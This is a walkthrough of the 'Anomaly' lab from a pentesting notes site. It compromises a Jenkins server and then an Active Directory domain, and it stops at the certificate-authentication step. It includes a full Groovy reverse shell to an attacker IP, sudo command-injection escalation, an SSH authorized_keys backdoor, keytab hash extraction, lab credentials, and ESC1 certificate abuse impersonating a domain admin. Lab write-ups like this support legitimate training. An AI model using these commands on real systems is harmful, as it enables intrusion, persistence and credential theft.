> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/hacksmarter-anomaly.md).

# Hacksmarter - Anomaly

## Enumeration <a href="#user-content-enumeration" id="user-content-enumeration"></a>

#### 1.1 Service Discovery (Ubuntu Server) <a href="#user-content-11-service-discovery-ubuntu-server" id="user-content-11-service-discovery-ubuntu-server"></a>

The first step is identifying open ports and services on the initial target.

**Command Used:**

```
sudo nmap -A 10.1.243.1 -T4 -oN ubunto.nmap 
```

<figure><img src="/files/Hh0TRCK86kopaAlPapS8" alt=""><figcaption></figcaption></figure>

**Results:**

* **Port 22/TCP**: SSH (OpenSSH)
* **Port 8080/TCP**: Web Server (Jenkins)

***

#### 1.2 SSH Analysis <a href="#user-content-12-ssh-analysis" id="user-content-12-ssh-analysis"></a>

When SSH is detected, it is critical to determine the allowed authentication methods.

* **Observation:** Attempting to connect via `ssh root@<IP>` resulted in a "Permission denied (publickey)" error.

```
ssh root@10.1.243.1 
```

* **Conclusion:** **Key-based authentication** is enforced. This is a security strength as it prevents password spraying and brute-force attacks.

<figure><img src="/files/1xsPPwi7V7TOiwj0MG8S" alt=""><figcaption></figcaption></figure>

***

#### 1.3 Web Enumeration (Port 8080) <a href="#user-content-13-web-enumeration-port-8080" id="user-content-13-web-enumeration-port-8080"></a>

The web server was identified as a **Jenkins** instance.

<figure><img src="/files/uKVT9GfsLWjWOPzjKAYV" alt=""><figcaption></figcaption></figure>

* **Directory Brute Forcing:** Nothing interesting found.

```
dirsearch -u http://10.1.243.1:8080 -e php,html,txt
```

* **Authentication:** \* The instance was secured with a login portal.
  * **Weak Credentials Found:** `admin:admin`.

> **Note:** Always apply the **KISS (Keep It Simple, Stupid)** principle. Before looking for complex CVEs, test common/default credentials (e.g., `admin:admin`, `jenkins:jenkins`, `root:root`).

<figure><img src="/files/Ddd0Cxt9s1o8ZRu8MKrK" alt=""><figcaption></figcaption></figure>

***

### Initial Access: Ubuntu Server <a href="#user-content-2-initial-access-ubuntu-server" id="user-content-2-initial-access-ubuntu-server"></a>

#### 2.1 Jenkins Exploitation via Script Console <a href="#user-content-21-jenkins-exploitation-via-script-console" id="user-content-21-jenkins-exploitation-via-script-console"></a>

Jenkins features a "Script Console" (found under **Manage Jenkins > Script Console**) that allows users to execute arbitrary Groovy scripts on the server. This is a common vector for Remote Code Execution (RCE).

<figure><img src="/files/WAYrwcYKBTc73zWu8rmY" alt=""><figcaption></figcaption></figure>

#### 2.2 Reverse Shell (Groovy) <a href="#user-content-22-reverse-shell-groovy" id="user-content-22-reverse-shell-groovy"></a>

To gain a shell on the underlying Linux OS, a Groovy reverse shell script was executed.

**Groovy Script Used:**

```
String host="10.200.76.222";
int port=8044;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

**Execution Steps:**

1. **Start Listener:** On your attacker machine, start a Netcat listener.

```
nc -lvnp 8044  
```

<figure><img src="/files/g9TlZ0AAL6g5SqlhNhDn" alt=""><figcaption></figcaption></figure>

2. **Execute Script:** Paste the Groovy script into the Jenkins Script Console and click **Run**.

<figure><img src="/files/HhDbJZo9rIx1JrmS8bzR" alt=""><figcaption></figcaption></figure>

**Verify Access:** Once the connection is received, verify the user context.

```
whoami  
# Output: jenkins  
```

<figure><img src="/files/psBvdjtQFgUzONlbgCfR" alt=""><figcaption></figcaption></figure>

***

### Enumerating the Domain Controller <a href="#user-content-3-enumerating-the-domain-controller" id="user-content-3-enumerating-the-domain-controller"></a>

While the initial focus was on the Ubuntu server, preliminary scans were run on the Windows Domain Controller to check for easy wins like unprotected SMB shares.

**Lets do the nmap scan**                                                                                                                         &#x20;

```
┌──(kali㉿kali)-[~/Desktop/anomaly]
└─$ sudo nmap -A 10.1.234.184 -T4 -oN AD.nmap                                  
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-03 11:10 EDT
Nmap scan report for 10.1.234.184
Host is up (0.22s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-03 15:10:17Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: anomaly.hsm0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:Anomaly-DC.anomaly.hsm
| Not valid before: 2025-09-21T22:14:26
|_Not valid after:  2026-09-21T22:14:26
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: anomaly.hsm0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:Anomaly-DC.anomaly.hsm
| Not valid before: 2025-09-21T22:14:26
|_Not valid after:  2026-09-21T22:14:26
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: anomaly.hsm0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:Anomaly-DC.anomaly.hsm
| Not valid before: 2025-09-21T22:14:26
|_Not valid after:  2026-09-21T22:14:26
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: anomaly.hsm0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:Anomaly-DC.anomaly.hsm
| Not valid before: 2025-09-21T22:14:26
|_Not valid after:  2026-09-21T22:14:26
3389/tcp open  ms-wbt-server
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Anomaly-DC.anomaly.hsm
| Not valid before: 2026-08-02T14:40:11
|_Not valid after:  2027-02-01T14:40:11
| rdp-ntlm-info: 
|   Target_Name: ANOMALY
|   NetBIOS_Domain_Name: ANOMALY
|   NetBIOS_Computer_Name: ANOMALY-DC
|   DNS_Domain_Name: anomaly.hsm
|   DNS_Computer_Name: Anomaly-DC.anomaly.hsm
|   Product_Version: 10.0.26100
|_  System_Time: 2026-08-03T15:11:09+00:00
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.95%I=7%D=8/3%Time=6A70AF5E%P=x86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\?\x08\0\x02\0
SF:\0\0");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: Host: ANOMALY-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-08-03T15:11:09
|_  start_date: N/A

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   220.22 ms 10.200.0.1
2   ...
3   225.01 ms 10.1.234.184

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.38 seconds
```

Now, lets see if we can enumerate the shares

```
netexec smb 10.1.234.184 -u '' -p '' --shares
```

* **`netexec` (formerly CrackMapExec)**: Used here to check for **Null Sessions** (empty username and password).
* **Status:** `STATUS_ACCESS_DENIED`. No anonymous share access was granted.

<figure><img src="/files/gm2BUi3gvue2T7Wjqd1H" alt=""><figcaption></figcaption></figure>

## Initial Foothold into the Network <a href="#user-content-initial-foothold-into-the-network" id="user-content-initial-foothold-into-the-network"></a>

### 1. Shell Stabilization <a href="#user-content-1-shell-stabilization" id="user-content-1-shell-stabilization"></a>

After gaining a reverse shell, the connection is often "unstable" (no tab completion, no `clear` command, and prone to dying).

#### 1.1 The Python Method <a href="#user-content-11-the-python-method" id="user-content-11-the-python-method"></a>

A quick way to get an interactive shell:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

<figure><img src="/files/rk3g10LqrocpXZYD5s3s" alt=""><figcaption></figcaption></figure>

#### 1.2 Full TTY Stabilization (Manual) <a href="#user-content-12-full-tty-stabilization-manual" id="user-content-12-full-tty-stabilization-manual"></a>

To get a fully functional terminal (handling `Ctrl+C` without dying):

1. In the reverse shell: `python3 -c 'import pty; pty.spawn("/bin/bash")'`
2. Background the shell: `Ctrl+Z`
3. In your local terminal: `stty raw -echo; fg`
4. Type `reset` and press enter.
5. Set the shell environment: `export TERM=xterm`

> **Note:** The instructor recommended the **HackTools** browser extension (Chrome/Firefox) as a "cheat sheet" for these commands.

***

### 2. Privilege Escalation (Local) <a href="#user-content-2-privilege-escalation-local" id="user-content-2-privilege-escalation-local"></a>

#### 2.1 Enumerating Sudo Permissions <a href="#user-content-21-enumerating-sudo-permissions" id="user-content-21-enumerating-sudo-permissions"></a>

Checking what commands the current user (`jenkins`) can run with root privileges: **Command:** `sudo -l`

<figure><img src="/files/KPolVNl1Hko23erOAv8N" alt=""><figcaption></figcaption></figure>

#### 2.2 Exploiting `router_config` <a href="#user-content-22-exploiting-router_config" id="user-content-22-exploiting-router_config"></a>

The binary `/usr/bin/router_config` was identified as a custom utility. Testing revealed it was vulnerable to **Command Injection**.

**The Vulnerability:** The binary takes user input (a filename) and passes it to a system shell without sanitization. By using shell metacharacters like `;`, `&&`, or `||`, we can execute arbitrary commands.

**Exploitation Steps:**

1. **Verify Injection:**&#x20;

```
sudo /usr/bin/router_config whoami 
```

<figure><img src="/files/ClggT56gUuSX2I4phVbT" alt=""><figcaption></figcaption></figure>

Result: Returns `root`

**Spawn Root Shell:**

```
sudo /usr/bin/router_config  "/bin/bash -i"
```

*Note:* The `-i` flag ensures the shell is interactive.

<figure><img src="/files/dYef6fAQ7W1ZA6aBIdRj" alt=""><figcaption></figcaption></figure>

Now we can also read the user flag.

<figure><img src="/files/D2CUeLmMllOklGYqvHUH" alt=""><figcaption></figcaption></figure>

```
ZmxhZ3toMWRkM25fcjRuZDBtXzl4N3BRen0=
```

***

### 3. Persistence: SSH Backdoor <a href="#user-content-3-persistence-ssh-backdoor" id="user-content-3-persistence-ssh-backdoor"></a>

To ensure access isn't lost if the Jenkins service is restarted or the exploit is patched, we establish persistence by adding our SSH public key to the root user's account.

<figure><img src="/files/rxcREArVMJsZbaRZbIa0" alt=""><figcaption></figcaption></figure>

**Steps:**

**On your Attacker Machine:** Copy your public key (usually found in `~/.ssh/id_rsa.pub`).

If you dont have a public key create one.

```
ssh-keygen
```

<figure><img src="/files/CyE1g72FoHMPoLuXfJaf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/F6dvUWLgLBRoYJROvWQ9" alt=""><figcaption></figcaption></figure>

**On the Target (as Root):** Append the key to the `authorized_keys` file.

```
mkdir -p /root/.ssh  
echo "ssh-rsa AAAAB3Nza...[Your_Key]..." >> /root/.ssh/authorized_keys  
chmod 600 /root/.ssh/authorized_keys  
```

```
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFktCClwd5N79dUWyHm44l4hk2TFyAbIJz+mCmAPgsgf kali@kali" >> /root/.ssh/authorized_keys 
```

<figure><img src="/files/oeZ7IFyzZJn7JEHPUhJ3" alt=""><figcaption></figcaption></figure>

3. **Verify Connection:**

```
ssh root@10.1.243.1
```

<figure><img src="/files/K1L4PB49Ant2bQ3Iqo8j" alt=""><figcaption></figcaption></figure>

***

### 4. Post-Exploitation Findings <a href="#user-content-4-post-exploitation-findings" id="user-content-4-post-exploitation-findings"></a>

* **System Users:** Only `ubuntu` and `jenkins` were found in the `/home` directory.
* **Infrastructure Note:** The Hacksmarter platform saves machine state, meaning the SSH backdoor will persist even if the lab is stopped and restarted.

## Pivoting from Linux to Active Directory <a href="#user-content-pivoting-from-linux-to-active-directory" id="user-content-pivoting-from-linux-to-active-directory"></a>

### 1. Post-Exploitation Enumeration <a href="#user-content-1-post-exploitation-enumeration" id="user-content-1-post-exploitation-enumeration"></a>

Once root access is achieved, the goal shifts to finding links to the Active Directory (AD) environment.

* **Bash History:** Checked `/root/.bash_history` and `/home/ubuntu/.bash_history`. No sensitive commands or cleartext credentials were found.
* **Service Analysis:** A script `vone.sh` was found, which likely automated the Jenkins setup, but it provided no AD pivot.

***

### 2. Identifying the Pivot: Kerberos Keytabs <a href="#user-content-2-identifying-the-pivot-kerberos-keytabs" id="user-content-2-identifying-the-pivot-kerberos-keytabs"></a>

Since the Ubuntu machine does not have an obvious domain user logged in, we look for **Kerberos** configurations that allow the machine or services to talk to the Domain Controller (DC).

#### 2.1 Locating Keytabs <a href="#user-content-21-locating-keytabs" id="user-content-21-locating-keytabs"></a>

Keytab files store Kerberos "principals" (user or service accounts) and their encrypted keys. They allow services to authenticate without a manual password.**Discovery Command:**

```
ls /etc/krb5*
```

* **`/etc/krb5.conf`**: The Kerberos configuration file. It contains the AD Realm (**ANOMALY.HSM**) and the DC hostname (**anomaly-dc.anomaly.hsm**).

<figure><img src="/files/Q259wIiCuzPYDC2Xe85t" alt=""><figcaption></figcaption></figure>

* **`/etc/krb5.keytab`**: The encrypted file containing credentials.

<figure><img src="/files/gN0aK9SKOvm78n3SZrrm" alt=""><figcaption></figcaption></figure>

***

### 3. Extracting Keytab Data <a href="#user-content-3-extracting-keytab-data" id="user-content-3-extracting-keytab-data"></a>

First we need to download the keytab file

```
scp root@10.1.243.1:/etc/krb5.keytab .
```

<figure><img src="/files/gbx2ljNXCkq0w6bTS4Ee" alt=""><figcaption></figcaption></figure>

Keytab files are binary and encrypted. To see what's inside, we use a tool like **KeyTabExtract**.

**Tool Usage:**

```
wget https://raw.githubusercontent.com/sosdave/KeyTabExtract/master/keytabextract.py
```

```
python3 keytabextract.py krb5.keytab
```

<figure><img src="/files/lVOEypRYDCtKBHx8T8xa" alt=""><figcaption></figcaption></figure>

```
REALM : ANOMALY.HSM
SERVICE PRINCIPAL : Brandon_Boyd/
AES-256 HASH : f9754c5288b844eb86054695b2c12b93716f57c41d26325c1a994e12bbbeff52
```

**Results of Extraction:**

* **Realm:** `ANOMALY.HSM`
* **Service Principal:** `brandon.boyd@ANOMALY.HSM`
* **Encryption Type:** `AES-256`
* **Note:** While NTLM hashes weren't extracted, the **AES-256 key** acts as the user's password for Kerberos authentication.

***

### 4. Setting Up the Pivot Environment <a href="#user-content-4-setting-up-the-pivot-environment" id="user-content-4-setting-up-the-pivot-environment"></a>

To use these credentials from an attacker machine (Kali), you must "tell" your OS how to find the domain.

#### 4.1 Update `/etc/hosts` <a href="#user-content-41-update-etchosts" id="user-content-41-update-etchosts"></a>

Map the IP found in previous parts to the Domain Controller's Full Qualified Domain Name (FQDN).

```
10.1.234.184  anomaly-dc.anomaly.hsm anomaly-dc
```

#### 4.2 Configure `/etc/krb5.conf` <a href="#user-content-42-configure-etckrb5conf" id="user-content-42-configure-etckrb5conf"></a>

Ensure your local Kerberos configuration matches the target domain. Copy from the ubuntu machine

```
[libdefaults]

 default_realm = ANOMALY.HSM

 dns_lookup_realm = true

 dns_lookup_kdc = true



[realms]

 ANOMALY.HSM = {

  kdc = Anomaly-DC.anomaly.hsm

  admin_server = Anomaly-DC.anomaly.hsm

 }



[domain_realm]

 .anomaly.hsm = ANOMALY.HSM

 anomaly.hsm = ANOMALY.HSM
```

## Pivoting from Linux to Active Directory <a href="#user-content-pivoting-from-linux-to-active-directory" id="user-content-pivoting-from-linux-to-active-directory"></a>

### 1. Environment Setup (Kali Linux) <a href="#user-content-1-environment-setup-kali-linux" id="user-content-1-environment-setup-kali-linux"></a>

To use Kerberos tickets on a non-domain-joined Linux machine, specific tools and configurations are required.

#### 1.1 Installing Kerberos Clients <a href="#user-content-11-installing-kerberos-clients" id="user-content-11-installing-kerberos-clients"></a>

The `kinit` utility is not always installed by default. On Debian-based systems (like Kali), it is part of the `krb5-user` package.

**Command:** `sudo apt install krb5-user`

<figure><img src="/files/j5x0ubq0jaIcm1Yu0fJV" alt=""><figcaption></figcaption></figure>

#### 1.3 Updating `/etc/hosts` <a href="#user-content-13-updating-etchosts" id="user-content-13-updating-etchosts"></a>

Ensure your machine can resolve the Domain Controller's hostname.

**Action:** Add the following line to `/etc/hosts`:

```
10.1.234.184  anomaly-dc.anomaly.hsm anomaly-dc
```

> **Common Pitfall:** Ensure the IP address is for the **Domain Controller**, not the web server.

***

### 2. Kerberos Authentication <a href="#user-content-2-kerberos-authentication" id="user-content-2-kerberos-authentication"></a>

#### 2.1 Generating a Ticket with `kinit` <a href="#user-content-21-generating-a-ticket-with-kinit" id="user-content-21-generating-a-ticket-with-kinit"></a>

Use the keytab file found on the Ubuntu server to request a Ticket Granting Ticket (TGT) without a password.**Command:**

```
kinit -kt krb5.keytab Brandon_Boyd@ANOMALY.HSM
```

* **`-kt`**: Specifies the path to the keytab file.
* **`brandon.boyd@ANOMALY.HSM`**: The Kerberos principal (Case-sensitive, Realm must be uppercase).

<figure><img src="/files/vSxYkXx95IrWSkwGip15" alt=""><figcaption></figcaption></figure>

#### 2.2 Verifying the Ticket <a href="#user-content-22-verifying-the-ticket" id="user-content-22-verifying-the-ticket"></a>

**Command:** `klist`This command displays your active Kerberos tickets. Look for a `krbtgt` ticket for the `ANOMALY.HSM` realm.

***

### 3. AD Enumeration via LDAP <a href="#user-content-3-a-d-enumeration-via-ldap" id="user-content-3-a-d-enumeration-via-ldap"></a>

#### 3.1 Exporting the Cache <a href="#user-content-31-exporting-the-cache" id="user-content-31-exporting-the-cache"></a>

To use the ticket with tools like `netexec` or `impacket`, you must point the environment variable to your ticket cache.**Command:**

```
export KRB5CCNAME=/tmp/krb5cc_1000
# Path may vary; check klist output
```

<figure><img src="/files/6ZoiFdzcONWAh6YduPhx" alt=""><figcaption></figcaption></figure>

#### 3.2 Hunting for Credentials in Descriptions <a href="#user-content-32-hunting-for-credentials-in-descriptions" id="user-content-32-hunting-for-credentials-in-descriptions"></a>

Active Directory objects often have a "Description" field. Administrators occasionally leave passwords or sensitive notes here.

```
nxc ldap anomaly-dc.anomaly.hsm -u brandon_boyd -k --use-kcache
```

<figure><img src="/files/VOk8i9hiyFPbgkeNfZP5" alt=""><figcaption></figcaption></figure>

So i can authenticate successfully.

**Command (using NetExec):**

```
nxc ldap anomaly-dc.anomaly.hsm -u brandon_boyd -k --users --use-kcache
```

* **`-k`**: Use Kerberos authentication.
* **`--users`**: Enumerates all domain users and their details.

\*\*Findings:\*\*A cleartext password for **Brandon Boyd** was discovered in his own account's description field.

**Password is here**

```
3edc4rfv#EDC$RFV 
```

<figure><img src="/files/BEg85GH3tMGHrU3dGy0G" alt=""><figcaption></figcaption></figure>

***

### 4. Verification of Credentials <a href="#user-content-4-verification-of-credentials" id="user-content-4-verification-of-credentials"></a>

Once a cleartext password is found, verify it against other services like SMB to confirm access levels.**Command:**

```
netexec smb anomaly-dc.anomaly.hsm -u 'brandon_boyd' -p '3edc4rfv#EDC$RFV' --shares
```

*Result: Authenticated. Access to standard shares (SYSVOL, NETLOGON) confirmed.*

<figure><img src="/files/NTtojo3IJmaX1lljQxzK" alt=""><figcaption></figcaption></figure>

## Enumerating Active Directory <a href="#user-content-enumerating-active-directory" id="user-content-enumerating-active-directory"></a>

### 1. Collecting BloodHound Data <a href="#user-content-1-collecting-bloodhound-data" id="user-content-1-collecting-bloodhound-data"></a>

BloodHound requires specific data (users, groups, sessions, ACLs) to build its graph. While **SharpHound.exe** is the standard collector for Windows, **NetExec (nxc)** can collect this data directly over LDAP from a Linux attack machine.

**Command:**

```
netexec ldap 10.1.234.184 -u brandon_boyd -p '3edc4rfv#EDC$RFV' --bloodhound -c all --dns-server 10.1.234.184
```

* **`--bloodhound`**: Activates the BloodHound collection module.
* **`-c all`**: Collects all available data types (Users, Groups, Computers, ACLs, etc.).
* **`--dns-server`**: Explicitly points to the Domain Controller for name resolution.

> **Tip:** If NetExec fails to find the DC by domain name, use the IP address for the `--dns-server` flag.

<figure><img src="/files/3nRuY9DjHFeyekCJjZWK" alt=""><figcaption></figcaption></figure>

***

### 2. Deploying BloodHound Community Edition (CE) <a href="#user-content-2-deploying-bloodhound-community-edition-ce" id="user-content-2-deploying-bloodhound-community-edition-ce"></a>

The instructor used the **BloodHound CLI** to manage the instance via Docker.

#### 2.1 Installation & Launch <a href="#user-content-21-installation--launch" id="user-content-21-installation--launch"></a>

1. **Download:** Get the binary from the [BloodHound CLI GitHub](https://github.com/SpecterOps/bloodhound-cli).
2. **Setup:**

```
sudo bloodhound-cli up 
```

3. **Access:** Navigate to `http://localhost:8080` in your browser.
4. **Login:** Use the randomly generated password provided by the install command (default user: `admin`).

<figure><img src="/files/nNJJlsKFVYqJ9giMpLny" alt=""><figcaption></figcaption></figure>

#### 2.2 Data Ingestion <a href="#user-content-22-data-ingestion" id="user-content-22-data-ingestion"></a>

1. **Locate Logs:** NetExec saves the collected `.zip` or `.json` files in `~/.nxc/logs/`.
2. **Upload:** In the BloodHound UI, go to **Administration > Data Collection > File Ingest** and upload the zip file.

<figure><img src="/files/nG6xtCowgHDwdRKTis3w" alt=""><figcaption></figcaption></figure>

***

### 3. Enumeration Strategy in BloodHound <a href="#user-content-3-enumeration-strategy-in-bloodhound" id="user-content-3-enumeration-strategy-in-bloodhound"></a>

#### 3.1 Marking the "Owned" User <a href="#user-content-31-marking-the-owned-user" id="user-content-31-marking-the-owned-user"></a>

Search for the compromised user (**Brandon Boyd**) and right-click the node to select **Mark User as Owned**. This allows BloodHound to calculate paths starting specifically from your current level of access.

#### 3.2 Key Queries for AD Analysis <a href="#user-content-32-key-queries-for-a-d-analysis" id="user-content-32-key-queries-for-a-d-analysis"></a>

The instructor recommended running standard built-in queries to "get the lay of the land":

| **Query Type**                      | **Purpose**                                       | **Finding in Anomaly**                         |
| ----------------------------------- | ------------------------------------------------- | ---------------------------------------------- |
| **Find all Domain Admins**          | Identify Tier 0 targets.                          | Users: Administrator, Anna Molly.              |
| **Shortest Paths to Domain Admins** | Map the direct route to full control.             | Result: No direct path found for Brandon Boyd. |
| **Find Kerberoastable Users**       | Check for service accounts with crackable hashes. | Result: None found.                            |
| **Find AS-REP Roastable Users**     | Check for users with pre-auth disabled.           | Result: None found.                            |

#### Domain Admins

<figure><img src="/files/BwelLjURtEmsZ4GePzbS" alt=""><figcaption></figcaption></figure>

***

### 4. The "Wall" and Next Steps <a href="#user-content-4-the-wall-and-next-steps" id="user-content-4-the-wall-and-next-steps"></a>

Sometimes, BloodHound does not show a "traversable" edge (a clear line) to Domain Admin. This typically indicates a more complex vulnerability is present that isn't covered by basic collectors.

**Potential Advanced Attack Vectors:**

* **AD CS (Active Directory Certificate Services):** Misconfigured certificate templates (e.g., ESC1, ESC2, ESC3).
* **GPO Abuse:** Permissions to edit Group Policy Objects that apply to high-value targets.
* **Service-Specific Flaws:** Credentials hidden in files or specialized service permissions.

## Exploiting ADCS Misconfigurations <a href="#user-content-exploiting-adcs-misconfigurations" id="user-content-exploiting-adcs-misconfigurations"></a>

### 1. Enumerating ADCS Vulnerabilities <a href="#user-content-1-enumerating-adcs-vulnerabilities" id="user-content-1-enumerating-adcs-vulnerabilities"></a>

When BloodHound does not show a direct ACL-based path, **ADCS (Active Directory Certificate Services)** is a primary target. Misconfigured certificate templates can allow low-privileged users to impersonate high-privileged users.

#### 1.1 Using Certipy <a href="#user-content-11-using-certipy" id="user-content-11-using-certipy"></a>

The standard tool for auditing ADCS is **Certipy** (called `certipy-ad` on Kali).

**Command:**

```
certipy-ad find -u 'brandon_boyd@anomaly.hsm' -p '3edc4rfv#EDC$RFV' -dc-ip 10.1.234.184 -text -enabled -hide-admins -vulnerable
```

* **`-vulnerable`**: Filters the output to show only templates with potential exploit paths (e.g., ESC1, ESC2, ESC3, etc.).

<figure><img src="/files/BGfdpW9iTUxD4v0jDNQs" alt=""><figcaption></figcaption></figure>

```
──(kali㉿kali)-[~/Desktop/anomaly]
└─$ cat 20260804124904_Certipy.txt                                                                                                 
Certificate Authorities
  0
    CA Name                             : anomaly-ANOMALY-DC-CA-2
    DNS Name                            : Anomaly-DC.anomaly.hsm
    Certificate Subject                 : CN=anomaly-ANOMALY-DC-CA-2, DC=anomaly, DC=hsm
    Certificate Serial Number           : 3F1A258E7CADC7AE4C54650883521D22
    Certificate Validity Start          : 2025-09-21 21:25:39+00:00
    Certificate Validity End            : 2124-09-21 21:35:38+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Access Rights
        Enroll                          : ANOMALY.HSM\Authenticated Users
Certificate Templates
  0
    Template Name                       : CertAdmin
    Display Name                        : CertAdmin
    Certificate Authorities             : anomaly-ANOMALY-DC-CA-2
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 99 years
    Renewal Period                      : 650430 hours
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-09-21T17:57:59+00:00
    Template Last Modified              : 2025-09-21T17:58:00+00:00
    Permissions
      Object Control Permissions
        Full Control Principals         : ANOMALY.HSM\Domain Computers
        Write Owner Principals          : ANOMALY.HSM\Domain Computers
        Write Dacl Principals           : ANOMALY.HSM\Domain Computers
    [+] User Enrollable Principals      : ANOMALY.HSM\Domain Computers
    [+] User ACL Principals             : ANOMALY.HSM\Domain Computers
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : User has dangerous permissions.
                                                                              
```

**Findings:**

The scan identified the **`CertAdmin`** template as vulnerable to **ESC1**.

* **ESC1 Criteria:** The template allows the requester to specify a **Subject Alternative Name (SAN)**. If a user can enroll in this template, they can request a certificate as any user (including a Domain Admin).
* As we can enrol a computer and give it permissions.

***

### 2. Exploiting ESC1 <a href="#user-content-2-exploiting-esc1" id="user-content-2-exploiting-esc1"></a>

#### 2.1 Prerequisite: Adding a Computer Account <a href="#user-content-21-prerequisite-adding-a-computer-account" id="user-content-21-prerequisite-adding-a-computer-account"></a>

{% embed url="<https://tools.thehacker.recipes/impacket/examples/addcomputer.py>" %}

The `CertAdmin` template ACL revealed that only **Domain Computers** have enrollment rights. Since Brandon Boyd is a **Domain User**, we must first add a machine account we control.

Check if we can add a computer

```
netexec ldap 10.1.234.184 -u brandon_boyd -p '3edc4rfv#EDC$RFV' -M maq
```

<figure><img src="/files/ef3xPUDntw25dW1ZK3r7" alt=""><figcaption></figcaption></figure>

**Command (using Impacket):**

```
impacket-addcomputer 'anomaly.hsm/brandon_boyd:3edc4rfv#EDC$RFV' -dc-ip 10.1.234.184 -computer-name 'Hacksmarter' -computer-pass 'Hacksmarter123!'
```

*Note: This works if the `MachineAccountQuota` is greater than 0 (default is 10).*

<figure><img src="/files/UsmC3B6kfEw0RHKOSaBB" alt=""><figcaption></figcaption></figure>

#### Also get the SID of target user

```
impacket-lookupsid anomaly.hsm/brandon_boyd:'3edc4rfv#EDC$RFV'@10.1.234.184
```

<figure><img src="/files/dXBdHlruoQguo8WRrDEH" alt=""><figcaption></figcaption></figure>

#### 2.2 Requesting the Admin Certificate <a href="#user-content-22-requesting-the-admin-certificate" id="user-content-22-requesting-the-admin-certificate"></a>

Using the new computer account, we request a certificate impersonating the Domain Admin (**AnnaMolly**).

**Command:**

```
certipy-ad req \
-u 'Hacksmarter$@anomaly.hsm' \
-p 'Hacksmarter123!' \
-dc-ip 10.1.234.184 \
-ca 'anomaly-ANOMALY-DC-CA-2' \
-template 'CertAdmin' \
-upn 'Anna_Molly@anomaly.hsm' \
-sid 'S-1-5-21-1496966362-3320961333-4044918980-1105'
```

<figure><img src="/files/ot0ETd4iWH4mDsy6FUnT" alt=""><figcaption></figcaption></figure>

#### 2.3 Authenticating via PFX <a href="#user-content-23-authenticating-via-pfx" id="user-content-23-authenticating-via-pfx"></a>

